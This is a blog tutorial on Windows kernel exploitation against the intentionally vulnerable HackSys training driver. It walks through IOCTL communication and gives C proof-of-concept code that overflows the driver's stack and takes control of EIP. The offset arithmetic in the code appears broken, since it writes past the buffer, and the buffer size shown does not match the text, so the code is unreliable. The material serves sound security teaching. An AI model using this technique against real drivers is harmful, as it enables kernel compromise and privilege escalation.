sam-b.github.io

Intro to Windows kernel exploitation part 1: HackSys Extremely Vulnerable Driver

In the previous part we set up kernel debugging and had a brief play with WinDBG. In this part I’m going to work through setting up, communicating with and then hijacking the control flow of the ‘HackSys Extremely Vulnerable Driver’ that was created to go with a series of talks/workshops ran in India. In next part we will take this control and use to give ourselves a root shell.

Driver Installation

We start by getting the driver, compiling it and loading it in the debuggee VM we used last time. The source code can be obtained by git cloning https://github.com/hacksysteam/HackSysExtremeVulnerableDriver (or downloading the zip), you will need the Windows Driver Kit (to build the driver) installed, a driver loading tool (I used OSRLoader from: https://www.osronline.com/article.cfm?article=157 which admittedly looks sketchy as hell) and Visual Studio (to write and compile our exploit) installed on the machine.

Once you have the source code and necessary tools, open a command prompt in the HackSysExtremeVulnerableDriver\Driver\Source directory and update the ‘Build_HEVD_Vulnerable.bat’ file so that the local symbol server path is set to ‘set localSymbolServerPath=C:\symbols’ (or wherever you set your symbol cache to be in the previous post) before executing the script.

Now that the driver is built we can use OSRloader to register and then run it. Start by running the OSRLoader executable and then setting the Driver Path field to be the path of the .sys file that was just created: OSR Loader Now click the ‘Register Service’ button and wait for it confirm it has been registered and then click ‘Start Service’. If this has been successful, when you run ‘driverquery’ from a command prompt the ‘HackSysExtremeDriver’ should appear in the output as so: driverquery

Now that the driver is installed and running we can start to interact with it and abuse it.

A quick windows drivers introduction

A driver is a piece of software which runs in Kernel Mode/Ring 0 designed to directly interact with and provide an interface to a hardware device. You can interact with a driver from User Mode by making use of Input and Output Controls (IOCTLs), A driver defines which IOCTLs it supports by defining them using the CTL_CODE macro which takes the format ‘#define Device_IOCTL_Function_Name CTL_CODE(DeviceType, Function, Method, Access)’, we can see how this is used in our target driver by opening the file ‘HackSysExtremeVulnerableDriver-master\Driver\Source\HackSysExtremeVulnerableDriver.h’ as shown below: ioctl defines As you can see the driver declares 11 different IOCTLs, in this post we will be focusing on the one defined as HACKSYS\_EVD\_IOCTL\_STACK\_OVERFLOW this matches the standard definition format as ‘HACKSYS_EVD’ is the device name and ‘STACK_OVERFLOW’ is the function name. The CTL_CODE macro is being called as follows CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) where the first argument defines what kind of device the driver is for. This is stored in the DeviceType field of the DEVICE_OBJECT structure which is created when a driver is loaded, there is a long list of valid device types but as this device doesn’t fit any of the existing types it is declared with the catch all type ‘FILE_DEVICE_UNKNOWN’. The second/FunctionCode field is basically just an ID that can be referenced, in this case 0x800. Values under 0x800 are used by Microsoft and 0x800 or greater can be used by vendors, each function the driver supports has a different FunctionCode.

The third argument (Method, sometimes referred to as TransferType) defines how a user process interacting with the driver will send and receive data from it, this field should be one of five different values. The first value is METHOD_BUFFERED in which input buffers are copied from user mode memory to kernel mode memory by the IO Manager (which is part of the kernel) before being used and output buffers do the reverse. The second and third potential values are METHOD_IN_DIRECT and METHOD_OUT_DIRECT (normally referred to together under the name ‘Direct I/O’) in this mode input, output or both (by ORing the constants, which is the fourth potential value) types of buffer are used when the driver needs to transfer large amounts of data, this normally involves using DMA (Direct Memory Access) or similar methods. The final possible value is the one that the HackSys driver is using: METHOD_NEITHER, as the name suggests this uses none of the previous methods and instead the driver has direct access to any input and output buffers in User Mode memory.

Last of all the Access field defines what access type a process interacting with the driver must request, there are three constants which can be used to set this field. The first is FILE_ANY_ACCESS which means any process with a handle to the driver can interact with it, a handle is effectively an abstracted pointer, Windows makes heavy use of handles (the HANDLE type) in order to allow the kernel to change the types backing resources and adjust internal memory layouts while allowing the code interacting with them to stay unchanged. The second constant is FILE_READ_DATA which means the interacting process must have read permissions and the driver is allowed to transfer data from the device it interfaces with into system memory and finally FILE_WRITE_DATA where the interacting process must have write permissions and the driver is allowed to transfer data from system memory to the device it interfaces with. The HackSys driver ORs FILE_READ_DATA and FILE_WRITE_DATA together, to indicate that the process interacting with it must have both read and write permissions.

On Windows the DeviceIoControl function from Kernel32.dll provides a generic interface to interact with drivers, DeviceIoControl is defined as:

BOOL WINAPI DeviceIoControl(
	HANDLE hDevice,
	DWORD dwIoControlCode,
	LPVOID lpInBuffer,
	DWORD nInBufferSize,
	LPVOID lpOutBuffer,
	DWORD nOutBufferSize,
	LPDWORD lpBytesReturned,
	LPOVERLAPPED lpOverLapped );

The first argument hDevice is a HANDLE to the device driver we want to send requests to, this can be acquired using the CreateFile function as you can see in the code sample coming up. The second argument dwIoControlCode is one of the IOCTLs we saw defined earlier - in this case we are interested in ‘HACKSYS_EVD_IOCTL_STACK_OVERFLOW’. The lpInBuffer and lpOutBuffer arguments (both or either of which can be NULL) are pointers to the I/O buffers and nInBufferSize and nOutBufferSize are their sizes. The lpBytesReturned argument is a pointer to a dword which will contain the number of bytes written into the output buffer after a request has been completed. Finally the lpOverlapped variable is optional and is a pointer to an OVERLAPPED structure which defines various details about using asynchronous IO, we won’t be using this so we’ll only see it set as NULL.

When we call this function the I/O Manager will create an IRP (I/O Request Packet) which it delivers to the device driver, the IRP is just a structure which encapsulates the I/O Request and maintains its request status. The IRP is then passed down the Windows driver stack until a driver that can handle it is found. Now we know how the method we’re interested in is defined and how to interact with it we can write a short programme that sends it a test request:

// HackSysDriverCrashPoC.cpp : triggers a crash in the HackSys driver via the STACK_OVERFLOW IOCTL
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

//Definition taken from HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	PULONG lpInBuffer = NULL;
	LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
	SIZE_T nInBufferSize = 1024 * sizeof(ULONG); //1024 is a randomly chosen size, a nice number that's probably big enough.

	printf("Getting the device handle\r\n");

	//HANDLE WINAPI CreateFile( _In_ lpFileName, _In_ dwDesiredAccess, _In_ dwShareMode, _In_opt_ lpSecurityAttributes,
	//_In_ dwCreationDisposition, _In_ dwFlagsAndAttributes, _In_opt_ hTemplateFile );
	HANDLE hDriver = CreateFile(lpDeviceName,			//File name - in this case our device name
		GENERIC_READ | GENERIC_WRITE,					//dwDesiredAccess - type of access to the file, can be read, write, both or neither. We want read and write because thats the permission the driver declares we need.
		FILE_SHARE_READ | FILE_SHARE_WRITE,				//dwShareMode - other processes can read and write to the driver while we're using it but not delete it - FILE_SHARE_DELETE would enable this.
		NULL,											//lpSecurityAttributes - Optional, security descriptor for the returned handle and declares whether inheriting processes can access it - unneeded for us.
		OPEN_EXISTING,									//dwCreationDisposition - what to do if the file/device doesn't exist, in this case only opens it if it already exists, returning an error if it doesn't.
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,	//dwFlagsAndAttributes - In this case the FILE_ATTRIBUTE_NORMAL means that the device has no special file attributes and FILE_FLAG_OVERLAPPED means that the device is being opened for async IO.
		NULL);											//hTemplateFile - Optional, only used when creating a new file - takes a handle to a template file which defineds various attributes for the file being created.

	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("Failed to get device handle :( 0x%X\r\n", GetLastError());
		return 1;
	}

	printf("Got the device Handle: 0x%X\r\n", hDriver);
	printf("Allocating Memory For Input Buffer\r\n");

	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());
		return 1;
	}

	printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);
	printf("Input buffer address: 0x%p\r\n", lpInBuffer);
	printf("Filling buffer with A's\r\n");

	//RtlFillMemory is like memset but the Length and Fill arguments are switched because Microsoft thought there weren't enough memset bugs in the world
	//see: The most dangerous function in the C/C++ world (http://www.viva64.com/en/b/0360/)
	RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);

	printf("Sending IOCTL request\r\n");

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		(LPVOID)lpInBuffer,
		(DWORD)nInBufferSize,
		NULL, //No output buffer - we don't even know if the driver gives output #yolo.
		0,
		&lpBytesReturned,
		NULL); //No overlap

	printf("IOCTL request completed, cleaning up da heap.\r\n");
	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	return 0;
}

Effectively all this code does is get a handle to the driver and then send the ‘HACKSYS_EVD_IOCTL_STACK_OVERFLOW’ handling function a 4096 byte long buffer entirely filled with 0x41 or the ASCII code for ‘A’. Once built and ran from the command line (provided the target win7 VM is still being kernel debugged) the system should freeze as shown below: Driver crash

When we look in the debugger on the debugging machine we can see that we have caused a fatal exception, triggering a Bugcheck (also known as the infamous Blue Screen of Death) bug check Now that we understand what the driver does, how to communicate with it and how to crash it, we can start to put an exploit together.

EIP 0x41414141

First we need to modify our program to get control of EIP, this process is identical to exploiting a buffer overflow in user mode but once we have control of EIP things start to be different again. Let’s continue doing this blind since looking at the code would make it even easier and give us less pretty blue screens. Our previous test programme clearly sent far too much data and completely trashed the stack, losing us the chance to get EIP control due to something bad happening before the IRP handler function ever returned. To work out how to layout our buffer to get control we can start by just using a binary search to find a length which gets us EIP == 0x41414141, by modifying the nInBufferSize variable to be 512 * sizeof(ULONG) down from 1024 we run our test case again and nothing crashes. Increasing the value to 768 gives us what we want – a crash with both EIP and EBP equal to 0x41414141:

eip control

Now that we can get part of our buffers contents into the EIP register we want to set it to be a purposefully chosen value, which means we need to know what data in our buffer is actually overwriting its value on the stack. In order to do this we make use of the Metasploit Frameworks pattern_create utility which generates a string of unique patterns the length of the argument value. We can then find the offset of bytes in this string by passing them to the pattern_offset utility. msf pattern create Once we have our pattern string we need to update our code to make use of it, here I updated lines 50 to 55 to be:

printf("Filling buffer with pattern string.\r\n");
char *pattern = "COPY-PASTED-PATTERN-STRING";
memcpy(lpInBuffer, pattern, nInBufferSize);
printf("Sending IOCTL request\r\n");

We then compile and run the program again, again causing a crash which we can investigate in our debugging VM. msf pattern crash We can see that there has been a crash again and when inspecting the data on the stack it is clearly a chunk of our patterned data, easily given away by the all the repeating bytes. We take the contents of the EIP register and pass it as an argument to the pattern_offset tool in Metasploit which will tell us where in our pattern the value occurred. As a sanity check we can also check the EBP value which should start 4 bytes immediately behind. msf pattern check Now that we know which offset we need to use to overwrite EIP we can update our code again to overwrite it with a chosen value by replacing lines 51 and 52 with:

memset(lpInBuffer, 0x41, nInBufferSize);
memset(lpInBuffer + 2076, 0x42, 4); //To overwrite EBP
memset(lpInBuffer + 2080, 0x43, 4); //To overwrite EIP

Once updated, we compile and then run our code. Inspecting the crash EIP and EBP have been set to our chosen values :D eip + ebp control

In the next part we’ll use our control of EIP to give ourselves a root shell :)

My final code for this part looked like:

// HackSysDriverCrashPoC.cpp : triggers a crash in the HackSys driver via the STACK_OVERFLOW IOCTL
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

//Definition taken from HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW	CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	PULONG lpInBuffer = NULL;
	LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
	SIZE_T nInBufferSize = 1024 * sizeof(ULONG); //1024 is a randomly chosen size, a nice number that's probably big enough.

	printf("Getting the device handle\r\n");

	//HANDLE WINAPI CreateFile( _In_ lpFileName, _In_ dwDesiredAccess, _In_ dwShareMode, _In_opt_ lpSecurityAttributes,
	//_In_ dwCreationDisposition, _In_ dwFlagsAndAttributes, _In_opt_ hTemplateFile );
	HANDLE hDriver = CreateFile(lpDeviceName,			//File name - in this case our device name
		GENERIC_READ | GENERIC_WRITE,					//dwDesiredAccess - type of access to the file, can be read, write, both or neither. We want read and write because thats the permission the driver declares we need.
		FILE_SHARE_READ | FILE_SHARE_WRITE,				//dwShareMode - other processes can read and write to the driver while we're using it but not delete it - FILE_SHARE_DELETE would enable this.
		NULL,											//lpSecurityAttributes - Optional, security descriptor for the returned handle and declares whether inheriting processes can access it - unneeded for us.
		OPEN_EXISTING,									//dwCreationDisposition - what to do if the file/device doesn't exist, in this case only opens it if it already exists, returning an error if it doesn't.
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,	//dwFlagsAndAttributes - In this case the FILE_ATTRIBUTE_NORMAL means that the device has no special file attributes and FILE_FLAG_OVERLAPPED means that the device is being opened for async IO.
		NULL);											//hTemplateFile - Optional, only used when creating a new file - takes a handle to a template file which defineds various attributes for the file being created.

	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("Failed to get device handle :( 0x%X\r\n", GetLastError());
		return 1;
	}

	printf("Got the device Handle: 0x%X\r\n", hDriver);
	printf("Allocating Memory For Input Buffer\r\n");

	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());
		return 1;
	}

	printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);
	printf("Input buffer address: 0x%p\r\n", lpInBuffer);
	printf("Filling buffer with A's\r\n");

	//RtlFillMemory is like memset but the Length and Fill arguments are switched because Microsoft thought there weren't enough memset bugs in the world
	//see: The most dangerous function in the C/C++ world (http://www.viva64.com/en/b/0360/)
	RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);
	memset(lpInBuffer + 2076, 0x42, 4); //To overwrite EBP
	memset(lpInBuffer + 2080, 0x43, 4); //To overwrite EIP

	printf("Sending IOCTL request\r\n");

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		(LPVOID)lpInBuffer,
		(DWORD)nInBufferSize,
		NULL, //No output buffer - we don't even know if the driver gives output #yolo.
		0,
		&lpBytesReturned,
		NULL); //No overlap

	printf("IOCTL request completed, cleaning up da heap.\r\n");
	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	return 0;
}